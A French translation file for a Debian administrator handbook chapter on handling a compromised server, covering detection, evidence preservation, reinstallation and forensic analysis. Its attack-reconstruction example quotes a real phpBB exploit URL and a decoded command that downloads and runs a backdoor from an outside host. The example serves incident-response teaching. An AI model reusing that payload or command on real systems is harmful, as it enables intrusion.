msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:"
msgstr "Les actes de piratage sont souvent détectés lorsqu'ils ont des conséquences directes sur les services légitimes hébergés sur la machine : la lenteur soudaine de la connexion, l'impossibilité de se connecter pour certains utilisateurs ou tout autre dysfonctionnement. Face à ces problèmes, l'administrateur est obligé de se pencher sur la machine et d'étudier de plus près ce qui ne tourne pas rond. C'est à ce moment qu'il va découvrir la présence d'un processus inhabituel, nommé par exemple <literal>apache</literal> au lieu du <literal>/usr/sbin/apache2</literal> habituel. Alerté par ce détail, il note le numéro du processus et consulte <filename>/proc/<replaceable>pid</replaceable>/exe</filename> pour savoir quel programme se cache derrière ce processus :"

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>ls -al /proc/3719/exe</userinput>\n"
"<computeroutput>lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -&gt; /var/tmp/.bash_httpd/psybnc</computeroutput>\n"
"      "
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>ls -al /proc/3719/exe</userinput>\n"
"<computeroutput>lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -&gt; /var/tmp/.bash_httpd/psybnc</computeroutput>\n"
"      "

msgid "A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised."
msgstr "Un programme installé dans <filename>/var/tmp/</filename> sous l'identité du serveur web ! Plus de doutes possibles, il y a eu piratage."

msgid "This is only one example, but many other hints can ring the administrator's bell:"
msgstr "Il s'agit là d'un simple exemple. De nombreux autres indices peuvent mettre en alerte un administrateur :"

msgid "an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;"
msgstr "une option d'une commande qui ne fonctionne plus (il vérifie alors la version du logiciel et elle ne correspond pas à celle installée d'après <command>dpkg</command>) ;"

msgid "a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;"
msgstr "une invite de connexion qui indique que la dernière connexion réussie est en provenance d'une machine roumaine ;"

msgid "errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;"
msgstr "une partition <filename>/tmp/</filename> pleine (entraînant des erreurs) qui s'avère contenir des films pirates ;"

msgid "and so on."
msgstr "etc."

msgid "Putting the Server Off-Line"
msgstr "Mettre le serveur hors ligne"

msgid "In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet."
msgstr "Dans l'immense majorité des cas, l'intrusion provient du réseau et la disponibilité du réseau est essentielle à l'attaquant pour atteindre ses objectifs (récupérer des données confidentielles, échanger des fichiers illégaux, masquer son identité en employant la machine comme relais intermédiaire…). Débrancher l'ordinateur du réseau empêchera l'attaquant d'arriver à ses fins au cas où il n'en aurait pas encore eu le temps."

#, fuzzy
#| msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> and <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> and <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgstr "Ceci n'est possible que si l'on dispose d'un accès physique au serveur. Si ce n'est pas le cas (par exemple parce que le serveur est hébergé à l'autre bout du pays chez un prestataire d'hébergement), il peut être plus judicieux de commencer par récolter quelques informations importantes (voir <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> et <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), puis d'isoler autant que possible le serveur en stoppant le maximum de services (c'est-à-dire tout sauf <command>sshd</command>). Cette situation n'est pas recommandable car il est impossible de s'assurer que l'attaquant ne profite pas (comme l'administrateur) d'un accès via SSH. Il est difficile dans ces conditions de « nettoyer » la machine."

msgid "Keeping Everything that Could Be Used as Evidence"
msgstr "Préserver tout ce qui peut constituer une preuve"

msgid "Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice."
msgstr "Si l'on veut comprendre ce qui s'est passé et/ou si l'on veut pouvoir poursuivre les assaillants, il faut conserver une copie de tous les éléments importants : notamment le contenu du disque dur, la liste des processus en cours d'exécution et la liste des connexions ouvertes. Le contenu de la mémoire vive pourrait aussi être intéressant, mais il est assez rare que l'on exploite cette information."

msgid "In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down."
msgstr "Le stress du moment incite souvent les administrateurs à vérifier beaucoup de choses sur l'ordinateur incriminé, mais c'est une très mauvaise idée. Chaque commande exécutée est susceptible d'effacer des éléments de preuve. Il faut se contenter du minimum (<command>netstat -tupan</command> pour les connexions réseau, <command>ps auxf</command> pour la liste des processus, <command>ls -alR /proc/[0-9]*</command> pour quelques informations supplémentaires sur les programmes en cours d'exécution) et noter systématiquement ce que l'on fait."

msgid "<emphasis>CAUTION</emphasis> Hot analysis"
msgstr "<emphasis>ATTENTION</emphasis> Analyse Ă  chaud"

#, fuzzy
#| msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It's quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!"
msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!"
msgstr "La tentation est grande d'analyser à chaud un système, surtout lorsque l'on n'a pas d'accès physique au serveur. Cette opération n'est pas souhaitable, tout simplement parce que vous ne pouvez pas faire confiance aux programmes installés sur la machine compromise : il se peut que <command>ps</command> n'affiche pas tous les processus, que <command>ls</command> dissimule des fichiers, voire que le noyau en fasse de même !"

msgid "If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised."
msgstr "Si malgré tout une telle analyse doit être conduite, il convient d'employer des programmes que l'on sait être corrects. Il est possible d'avoir un CD-Rom de secours contenant des programmes sains, voire un partage réseau (en lecture seule). Toutefois, si le noyau est compromis, mêmes ces mesures ne seront pas forcément suffisantes."

msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled."
msgstr "Une fois sauvegardés les éléments « dynamiques » les plus importants, il faut réaliser une image fidèle du disque complet. Il est impossible de réaliser une telle image si le système de fichiers évolue encore. Il faut donc le remonter en lecture seule <foreignphrase>(read-only)</foreignphrase>. Le plus simple est souvent de stopper le serveur (brutalement, après un <command>sync</command>) et de le démarrer sur un CD-Rom de secours. Une image de chaque partition peut alors être réalisée à l'aide du programme <command>dd</command>. Ces images peuvent être stockées sur un autre serveur (l'utilitaire <command>nc</command> est alors très pratique pour envoyer les données générées par <command>dd</command> d'une machine à une autre). Une autre solution, beaucoup plus simple, est de sortir le disque de la machine et de le remplacer par un neuf prêt à être réinstallé."

msgid "Re-installing"
msgstr "RĂ©installer"

# TODO: INTEGRATE ALTERNATE STRING: <primary>porte dérobée</primary>
msgid "<primary>backdoor</primary>"
msgstr "<primary><foreignphrase>backdoor</foreignphrase></primary>"

msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates."
msgstr "Avant de remettre le serveur en ligne, il est indispensable de le réinstaller complètement. En effet, si la compromission était sévère (obtention des privilèges administrateur), il est presque impossible d'être certain d'avoir éliminé tout ce que l'attaquant a pu laisser derrière lui (portes dérobées notamment, <foreignphrase>backdoors</foreignphrase> en anglais). Une réinstallation complète apportera cette certitude. Bien entendu, il faut également installer toutes les dernières mises à jour de sécurité afin de colmater la brèche que l'attaquant a réussi à exploiter. Idéalement, l'analyse de l'attaque aura mis en lumière la faille et il sera possible de la corriger avec certitude (au lieu de simplement espérer que les mises à jour de sécurité seront suffisantes)."

msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgstr "Pour un serveur distant, réinstaller n'est pas forcément évident à réaliser. Il faudra souvent le concours de l'hébergeur car tous ne disposent pas d'infrastructure de réinstallation automatique. Attention également à ne pas réinitialiser la machine avec une sauvegarde complète ultérieure à la date de compromission ! Il vaut mieux réinstaller les logiciels et ne restaurer que les données."

msgid "Forensic Analysis"
msgstr "Analyser Ă  froid"

msgid "Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake."
msgstr "Maintenant que le service est à nouveau fonctionnel, il est temps de se pencher sur les images disque du système compromis afin de comprendre ce qui s'est passé. Lorsqu'on monte l'image du disque, il faut prendre soin d'employer les options <literal>ro, nodev, noexec, noatime</literal> afin de ne pas modifier son contenu (y compris les horodatages des accès aux fichiers) et de ne pas exécuter par erreur des exécutables compromis."

msgid "Retracing an attack scenario usually involves looking for everything that was modified and executed:"
msgstr "Pour reconstituer efficacement le scénario d'une attaque, il faut chercher tous azimuts ce qui a été modifié et exécuté :"

msgid "<filename>.bash_history</filename> files often provide for a very interesting read;"
msgstr "L'analyse d'éventuels fichiers <filename>.bash_history</filename> est souvent très instructive;"

msgid "so does listing files that were recently created, modified or accessed;"
msgstr "Il faut extraire la liste des fichiers récemment créés, modifiés et consultés;"

msgid "the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;"
msgstr "L'identification des programmes installés par l'attaquant est souvent possible à l'aide de la commande <command>strings</command> qui extrait les chaînes de caractères présentes dans un binaire;"

msgid "the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;"
msgstr "L'analyse des fichiers de traces de <filename>/var/log/</filename> fournit souvent une chronologie;"

msgid "special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete."
msgstr "Enfin, des outils spécialisés permettent de récupérer le contenu de potentiels fichiers supprimés (notamment les fichiers de traces que les attaquants aiment à supprimer)."

#, fuzzy
#| msgid "Some of these operations can be made easier with specialized software. In particular, the <emphasis role=\"pkg\">sleuthkit</emphasis> package provides many tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role=\"pkg\">autopsy</emphasis> package)."
msgid "Some of these operations can be made easier with specialized software. In particular, the <emphasis role=\"pkg\">sleuthkit</emphasis> package provides many tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role=\"pkg\">autopsy</emphasis> package). Some Linux distributions have a \"live install\" image and contain many programs for forensic analysis, such as Kali Linux (see <xref linkend=\"sect.kali\" />), with its <emphasis>forensic mode</emphasis>, BlackArchLinux<footnote><para> <ulink url=\"https://blackarch.org\" /></para></footnote> and the commercial Grml-Forensic, based on Grml (see <xref linkend=\"sect.grml\" />)."
msgstr "Certaines de ces opérations sont facilitées par des logiciels spécialisés. Le paquet <emphasis role=\"pkg\">sleuthkit</emphasis> en particulier fournit de nombreux outils d'analyse de système de fichiers. Leur usage est grandement facilité par l'interface graphique <emphasis>Autopsy Forensic Browser</emphasis> contenue dans le paquet <emphasis role=\"pkg\">autopsy</emphasis>."

msgid "<primary>Autopsy Forensic Browser</primary>"
msgstr "<primary>Autopsy Forensic Browser</primary>"

msgid "<primary>The Sleuth Kit</primary>"
msgstr "<primary>The Sleuth Kit</primary>"

msgid "Reconstituting the Attack Scenario"
msgstr "Reconstituer le scénario de l'attaque"

msgid "All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings."
msgstr "Tous les éléments récoltés au cours de l'analyse doivent pouvoir s'emboîter comme dans un puzzle : la date de création des premiers fichiers suspects correspond souvent à des traces prouvant l'intrusion. Un petit exemple réel sera plus parlant qu'un long discours théorique."

msgid "The following log is an extract from an Apache <filename>access.log</filename>:"
msgstr "La trace ci-dessous, extraite d'un fichier <filename>access.log</filename> de Apache, en est un exemple :"

msgid ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&amp;highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
"      "
msgstr ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&amp;highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
"      "

#, fuzzy
#| msgid "This example matches exploitation of an old security vulnerability in phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"http://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgid "This example matches exploitation of an old security vulnerability in phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"https://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgstr "Cet exemple correspond à l'exploitation d'un ancien trou de sécurité de phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"http://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"

msgid "Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;\")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor."
msgstr "En décodant cette longue URL, il est possible de comprendre que l'attaquant a exécuté la commande PHP <command>system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;\")</command>. Effectivement, un fichier <filename>bd</filename> est disponible dans <filename>/tmp/</filename>. L'exécution de <command>strings /mnt/tmp/bd</command> renvoie entre autres <literal>PsychoPhobia Backdoor is starting...</literal>. Il s'agit donc d'une porte dérobée."

msgid "Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:"
msgstr "Peu de temps après, cet accès a été utilisé pour télécharger et installer un <foreignphrase>bot</foreignphrase> IRC qui s'est connecté à un réseau IRC <foreignphrase>underground</foreignphrase>. Il peut être contrôlé par le biais de ce protocole, notamment pour télécharger des fichiers puis les mettre à disposition. Ce logiciel dispose de son propre fichier de trace :"

msgid ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"
msgstr ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"

msgid "These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address."
msgstr "Deux fichiers vidéo ont été déposés sur le serveur par l'intermédiaire de la machine 82.50.72.202."

msgid "In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach."
msgstr "En parallèle à cela, l'attaquant a téléchargé des fichiers supplémentaires <filename>/tmp/pt</filename> et <filename>/tmp/loginx</filename>. Une analyse avec <command>strings</command> permet de récupérer des chaînes comme <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> ou <foreignphrase>Now wait for suid shell...</foreignphrase>. Il s'agit de programmes exploitant des vulnérabilités locales pour obtenir des privilèges administrateur. Mais sont-ils parvenus à leur fin ? Selon toute vraisemblance (fichiers modifiés postérieurement à l'intrusion), non."

msgid "In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability."
msgstr "Dans cet exemple, tout le déroulement de l'intrusion a pu être reconstitué et l'attaquant a pu se servir du système compromis pendant 3 jours. Toutefois, le plus important dans cette reconstitution est que la vulnérabilité a été identifiée et a pu être corrigée sur la nouvelle installation."

#~ msgid "The lack of a standard configuration (and the “process, not product” motto) explains the lack of a turn-key solution. There are, however, tools that make it simpler to configure the <emphasis>netfilter</emphasis> firewall, with a graphical representation of the filtering rules. <command>fwbuilder</command> is undoubtedly among the best of them."
#~ msgstr "L'absence de configuration standard explique qu'il n'y ait pas de solution prête à l'emploi. Des outils permettent en revanche de simplifier la configuration du pare-feu netfilter en visualisant graphiquement les règles définies. L'un des meilleurs est sans doute <command>fwbuilder</command>."

#~ msgid "<primary><emphasis>netfilter</emphasis></primary>"
#~ msgstr "<primary><emphasis>netfilter</emphasis></primary>"

#~ msgid "<primary><command>ip6tables</command></primary>"
#~ msgstr "<primary><command>ip6tables</command></primary>"

#~ msgid "<emphasis>netfilter</emphasis> uses four distinct tables which store rules regulating three kinds of operations on packets:"
#~ msgstr "netfilter dispose de quatre tables distinctes, donnant les règles régissant trois types d'opérations sur les paquets :"

#~ msgid "<literal>filter</literal> concerns filtering rules (accepting, refusing or ignoring a packet);"
#~ msgstr "<literal>filter</literal> pour les règles de filtrage (accepter, refuser, ignorer un paquet) ;"

#~ msgid "<literal>nat</literal> concerns translation of source or destination addresses and ports of packages;"
#~ msgstr "<literal>nat</literal> pour modifier les adresses IP et les ports sources ou destinataires des paquets ;"

#~ msgid "<literal>mangle</literal> concerns other changes to the IP packets (including the ToS — <emphasis>Type of Service</emphasis> — field and options);"
#~ msgstr "<literal>mangle</literal> pour modifier d'autres paramètres des paquets IP (notamment le champ ToS — <foreignphrase>Type Of Service</foreignphrase> — et les options) ;"

#~ msgid "<literal>raw</literal> allows other manual modifications on packets before they reach the connection tracking system."
#~ msgstr "<literal>raw</literal> pour effectuer des manipulations manuelles sur les paquets avant que le suivi de connexion entre en jeu."

#~ msgid "Each table contains lists of rules called <emphasis>chains</emphasis>. The firewall uses standard chains to handle packets based on predefined circumstances. The administrator can create other chains, which will only be used when referred to by one of the standard chains (either directly or indirectly)."
#~ msgstr "Chaque table contient des listes de règles appelées chaînes ; les chaînes standards servent au pare-feu pour traiter les paquets dans différentes circonstances prédéfinies. L'administrateur peut créer d'autres chaînes, qui ne seront employées que si l'une des chaînes standards les appelle."

#~ msgid "<primary>filtering rule</primary>"
#~ msgstr "<primary>règle de filtrage</primary>"

#~ msgid "The <literal>filter</literal> table has three standard chains:"
#~ msgstr "La table <literal>filter</literal> compte trois chaînes standards :"

#~ msgid "<literal>INPUT</literal>: concerns packets whose destination is the firewall itself;"
#~ msgstr "<literal>INPUT</literal> : concerne les paquets destinés au pare-feu ;"

#~ msgid "<literal>OUTPUT</literal>: concerns packets emitted by the firewall;"
#~ msgstr "<literal>OUTPUT</literal> : concerne les paquets émis par le pare-feu ;"

#~ msgid "<literal>FORWARD</literal>: concerns packets transiting through the firewall (which is neither their source nor their destination)."
#~ msgstr "<literal>FORWARD</literal> : appliquée aux paquets transitant via le pare-feu (et dont il n'est donc ni la source ni le destinataire)."

#~ msgid "The <literal>nat</literal> table also has three standard chains:"
#~ msgstr "La table <literal>nat</literal> dispose également de trois chaînes standards :"

#~ msgid "<literal>PREROUTING</literal>: to modify packets as soon as they arrive;"
#~ msgstr "<literal>PREROUTING</literal> : modifie les paquets dès qu'ils arrivent ;"

#~ msgid "<literal>POSTROUTING</literal>: to modify packets when they are ready to go on their way;"
#~ msgstr "<literal>POSTROUTING</literal> : modifie les paquets alors qu'ils sont prêts à partir ;"

#~ msgid "<literal>OUTPUT</literal>: to modify packets generated by the firewall itself."
#~ msgstr "<literal>OUTPUT</literal> : modifie les paquets générés par le pare-feu lui-même."

#~ msgid "How <emphasis>netfilter</emphasis> chains are called"
#~ msgstr "Ordre d'emploi des chaînes de <emphasis>netfilter</emphasis>"

#~ msgid "Each chain is a list of rules; each rule is a set of conditions and an action to execute when the conditions are met. When processing a packet, the firewall scans the appropriate chain, one rule after another; when the conditions for one rule are met, it “jumps” (hence the <literal>-j</literal> option in the commands) to the specified action to continue processing. The most common behaviors are standardized, and dedicated actions exist for them. Taking one of these standard actions interrupts the processing of the chain, since the packet's fate is already sealed (barring an exception mentioned below):"
#~ msgstr "Chaque chaîne est une liste de règles, prévoyant une action à exécuter quand certaines conditions sont remplies. Le pare-feu parcourt séquentiellement la chaîne s'appliquant au paquet traité et dès qu'une règle est satisfaite, il « saute » (l'option <literal>-j</literal> vient de <foreignphrase>jump</foreignphrase>) à l'emplacement indiqué pour continuer le traitement. Certains de ces emplacements sont standardisés et correspondent aux actions les plus courantes. Une fois une de ces actions enclenchée, le parcours de la chaîne est interrompu parce que le sort du paquet est normalement décidé (sauf exception explicitement mentionnée ci-après) :"

#~ msgid "<literal>ACCEPT</literal>: allow the packet to go on its way;"
#~ msgstr "<literal>ACCEPT</literal> : autoriser le paquet à poursuivre son parcours ;"

#~ msgid "<literal>REJECT</literal>: reject the packet with an ICMP error packet (the <literal>--reject-with <replaceable>type</replaceable></literal> option to <command>iptables</command> allows selecting the type of error);"
#~ msgstr "<literal>REJECT</literal> : rejeter le paquet (ICMP signale une erreur, l'option <literal>--reject-with <replaceable>type</replaceable></literal> d'<command>iptables</command> permet de choisir le type d'erreur renvoyée) ;"

#~ msgid "<literal>DROP</literal>: delete (ignore) the packet;"
#~ msgstr "<literal>DROP</literal> : supprimer (ignorer) le paquet ;"

#~ msgid "<literal>LOG</literal>: log (via <command>syslogd</command>) a message with a description of the packet; note that this action does not interrupt processing, and the execution of the chain continues at the next rule, which is why logging refused packets requires both a LOG and a REJECT/DROP rule;"
#~ msgstr "<literal>LOG</literal> : enregistrer (via <command>syslogd</command>) un message de log contenant une description du paquet traité (cette action retourne après exécution à sa position dans la chaîne appelante — celle qui a invoquée l'action — c'est pourquoi il est nécessaire de la faire suivre par une règle REJECT ou DROP si l'on veut simplement enregistrer la trace d'un paquet qui doit être refusé) ;"

#~ msgid "<literal>ULOG</literal>: log a message via <command>ulogd</command>, which can be better adapted and more efficient than <command>syslogd</command> for handling large numbers of messages; note that this action, like LOG, also returns processing to the next rule in the calling chain;"
